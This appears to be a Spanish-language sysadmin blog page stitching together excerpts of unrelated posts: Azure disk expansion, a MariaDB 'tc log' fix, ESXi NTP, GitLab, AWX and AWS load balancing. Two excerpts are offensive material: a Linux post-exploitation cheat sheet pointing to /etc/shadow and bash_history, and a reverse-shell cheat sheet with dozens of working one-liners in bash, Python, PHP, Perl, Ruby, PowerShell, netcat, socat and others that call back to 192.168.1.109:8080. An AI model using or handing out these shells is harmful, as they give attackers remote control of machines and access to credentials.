Normalmente, el tamaño predeterminado del disco duro virtual del sistema operativo (SO) es de 30 GB en una máquina virtual Linux de Azure. Tiene la opción de agregar discos de datos para proporcionar espacio de almacenamiento adicional, pero puede que también desee expandir un disco de datos existente. En este articulo vamos a ver como expandir un disco ya existente el cual corresponde al file system raiz.
MySQL [ERROR] Can’t init tc log
Al intentar iniciar el servicio de mariadb comprobamos que no inicia
/etc/init.d/mysql status
mariadb.service – MariaDB database server
Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; vendor preset: enabled)
Active: failed (Result: exit-code) since Thu 2018-08-09 12:43:52 CEST; 1min 3s ago
Process: 1241 ExecStart=/usr/sbin/mysqld $MYSQLD_OPTS $_WSREP_NEW_CLUSTER $_WSREP_START_POSITION (code=exited, status=1/FAILURE)
Process: 1151 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] && VAR= || VAR=`/usr/bin/galera_recovery`; [ $? -eq 0 ] && systemctl set-environment _WSREP_START_POSITION=$VAR || exit 1 (code=exited, status=0/SUCCESS)
Process: 1148 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
Process: 1145 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /var/run/mysqld (code=exited, status=0/SUCCESS)
Main PID: 1241 (code=exited, status=1/FAILURE)
Status: «MariaDB server is down»
Revisando el log comprobamos el siguiente error:
tail -3 /var/log/mysql/error.log
2018-08-09 12:45:00 139927639765568 [ERROR] Can’t init tc log
2018-08-09 12:45:00 139927639765568 [ERROR] Aborting
Eliminamos el log TC y iniciamos el servicio de nuevo
rm /var/lib/mysql/tc.log
/etc/init.d/mysql start
:wq!
ESXi el servicio NTP no responde
En algunas ocasiones aun que tengamos configurado el servicio NTP vemos que no funciona correctamente y no sincroniza la hora, esto podría deberse a que el servidor ESXI esta utilizando NTP versión 2 y no recibe informacion contestación
Accedemos al servidor NTP y forzamos en el NTP para que vuelva a sincronizar.
Como podemos ver envia la petición pero no recibe respuesta.
tcpdump udp port 123
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
13:12:05.057082 IP esxi.redorbita.com > ntp.redobita.com.ntp: NTPv2, Client, length 48
Accedemos mediante SSH al servidor ESXI y configuramos la versión del NTP en /etc/ntp.conf
Cambiamos:
Server ntp.redorbita.com
Por:
Server ntp.redorbita.com version 3
:wq!
Instalación Zevenet community en cluster
¿Que es Zevenet?
Zevenet es una solución para el balanceo de carga que proporciona una alta disponibilidad para servicios TCP, UDP, HTTP y HTTPS.
Instalación
Debemos instalar dos nodos (master y backup), en el sistema de instalación solo mostrare la instalaciónde un nodo dado que es como si instalasemos un Debian normal y corriente,
Instalación de Integria IMS en CentOS
¿Qué es Integria IMS?
Integria IMS es un software de help desk sencillo, potente y fácil de usar. Dispone de inventario automatizado y controlado desde un solo interfaz. Agiliza los procesos reduciendo los tiempos y costes de gestión en sus proyectos. Gracias a sus informes personalizados estará informado y podrá ver fácilmente la gestión y calidad del servicio dado en tiempo real.
Podemos realizar de dos formas la instalación, mediante la ISO que podemos encontrar en su repositorio https://sourceforge.net/projects/integria/files/ la cual se realiza como cualquier instalación de GNU/Linux y la instalación desde cero la cual vamos a ver acontinuación.
Instalar gitlab en Debian
¿Que es Gitlab?
Gitlab es un servicio web de control de versiones y desarrollo de software colaborativo basado en Git. Además de gestor de repositorios, el servicio ofrece también alojamiento de wikis y un sistema de seguimiento de errores, todo ello publicado bajo una Licencia de código abierto.
Instalamos las dependencias
Linux Post Exploitation Cheat Sheet
Recolección de información
| Comandos | DESCRIPCIÓN |
| /etc/resolv.conf | Contiene los servidores DNS |
| /etc/motd | Mensaje del dia |
| /etc/issue | versión de la distribucuón |
| /etc/passwd | Lista de usaurios |
| /etc/shadow | Lista de hashes de usuario (requiere permisos de root) |
| /home/USUARIO/.bash_history | Te muestra los comandos ejecutados por el usuario |
Instalacion de AWX en Debian 9
¿Que es AWX?
AWX es el proyecto open source en el que se base el proyecto Ansible Tower, el cual nos permite una administración mas amigable de Ansible mediante una interfaz WEB.
Instalamos los paquetes basicos
apt install apt-transport-https ca-certificates curl gnupg2 software-properties-common dirmngr git python-pip
Reverse Shell Cheat Sheet
Listener:
nc -l -v -p 8080
Bash
exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/192.168.1.109/8080 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196
bash -i >& /dev/tcp/192.168.1.109/8080 0>&1
bash -i >& /dev/tcp/192.168.1.109//8080 0>&1
TCLsh
echo ‘set s [socket 192.168.1.109 8080];while 42 { puts -nonewline $s «shell>»;flush $s;gets $s c;set e «exec $c»;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh
Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«192.168.1.109»,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’
PHP
php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);shell_exec(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);`/bin/sh -i <&3 >&3 2>&3`;’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);system(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);popen(«/bin/sh -i <&3 >&3 2>&3», «r»);’
Perl
perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’
perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’
perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.1.109:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
Ruby
ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’
ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(«192.168.1.109″,»8080″);while(cmd=c.gets);IO.popen(cmd,»r»){|io|c.print io.read}end’
Java
r = Runtime.getRuntime()
p = r.exec([«/bin/bash»,»-c»,»exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done»] as String[])
p.waitFor()
Telnel:
rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.109 8080 0/tmp/p
rm -f x; mknod x p && telnet 192.168.1.109 8080> 0<x | /bin/bash 1>x
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 192.168.1.109 8080 > f
telnet 192.168.1.109 8080 | /bin/bash | telnet 192.168.1.109
Netcat
nc -e /bin/sh 192.168.1.109 8080
/bin/sh | nc 192.168.1.109 8080
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.1.109 8080 0/tmp/p
Socat
socat tcp-connect:192.138.1.109:8080 exec:»bash -li»,pty,stderr,setsid,sigint,sane
Powershell
powershell.exe -w hidden -c ‘$client = New-Object System.Net.Sockets.TCPClient(«192.168.1.109»,8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + «PS » + (pwd).Path + «> «;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’
AWK
awk ‘BEGIN {s = «/inet/tcp/0/192.168.1.109/8080»; while(42) { do{ printf «shell>» |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != «exit») close(s); }}’ /dev/null
Creación de un Balanceador de carga de aplicaciones con Auto escalado en AWS
En este ejemplo vamos a mostrar como implementar un balanceador de carga usando bajo AWS.
mediante esta configuración podremos escalar horizontalmente los servidores de aplicaciones y así aumentar el rendimiento, disminuir la latencia y proporcionar tolerancia a fallar.
Anteriormente vimos como montar un balanceador de carga la cual contaba con dos subnet publicas y un balanceador. En esta ocasión vamos a complicar un poco mas y contaremos con cuatro subnet, un balanceador y dos nat gateway.
Diagrama de red:
